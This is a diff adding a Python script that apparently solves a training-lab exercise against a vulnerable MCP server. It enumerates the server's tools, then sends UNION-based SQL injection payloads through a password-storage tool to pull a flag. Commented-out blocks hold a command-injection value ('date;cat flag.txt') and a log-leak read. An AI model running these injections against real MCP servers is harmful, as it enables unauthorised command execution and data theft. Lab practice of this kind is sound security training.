added material

2026-07-26 22:53:03 -04:00
commit 95b1c6bf27
369 changed files with 3468754 additions and 0 deletions
@@ -0,0 +1,102 @@
+import asyncio
+from fastmcp import Client, FastMCP
+
+client = Client("http://154.57.164.78:30484/mcp/")
+
+async def main():
+    async with client:
+        resources = await client.list_resources()
+        resource_templates = await client.list_resource_templates()
+        tools = await client.list_tools()
+
+        print("Resources:")
+        for resource in resources:
+            print('***')
+            print(resource.name)
+            print(resource.description.strip())
+            
+
+        print("-"*50)
+        print("Resource Templates:")
+        for resource_template in resource_templates:
+            print('***')
+            print(resource_template.uriTemplate)
+            print(resource_template.description.strip())
+            
+
+        print("-"*50)
+        print("Tools:")
+        for tool in tools:
+            print('***')
+            params = list(tool.inputSchema.get('properties').keys())
+            print(f"{tool.name}({','.join(params)})")
+            print(tool.description.strip())
+        
+        # VULNERABLE MCP SERVER
+
+        # Information Leakage (other requests first to populate)
+        # try:
+        #     result_object = await client.read_resource("resource://logs")
+        #     print(result_object[0].text)
+        # except Exception as e:
+        #     print(f"[-] {e}")
+
+        
+        # RCE
+        # try:
+        #     result_object = await client.call_tool("execute_server_command", {"command": "date;cat flag.txt"})
+        #     print(result_object)
+        # except Exception as e:
+        #     print(f"[-] {e}")
+
+
+        # SQLi
+        ## UNION SELECT group_concat(name || ':' || type) FROM pragma_table_info('flag'), url encoded
+        # try:
+        #     ## UNION SELECT flag FROM flag
+        #     result_object = await client.read_resource("price://x'%20UNION%20SELECT%20flag%20FROM%20flag--")
+        #     print(result_object[0].text)
+        # except Exception as e:
+        #     print(f"[-] {e}")
+
+        # SKILLS ASSESSMENT
+        try:
+            result_object = await client.read_resource("resource://platforms")
+            print(result_object[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        try:
+            result_object = await client.read_resource("password://rootlocker.htb")
+            print(result_object[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "rootlocker.htb'"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT @@version-- -"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name = \"flag\"-- -"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT flag FROM flag-- -"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+
+
+
+
+asyncio.run(main())
+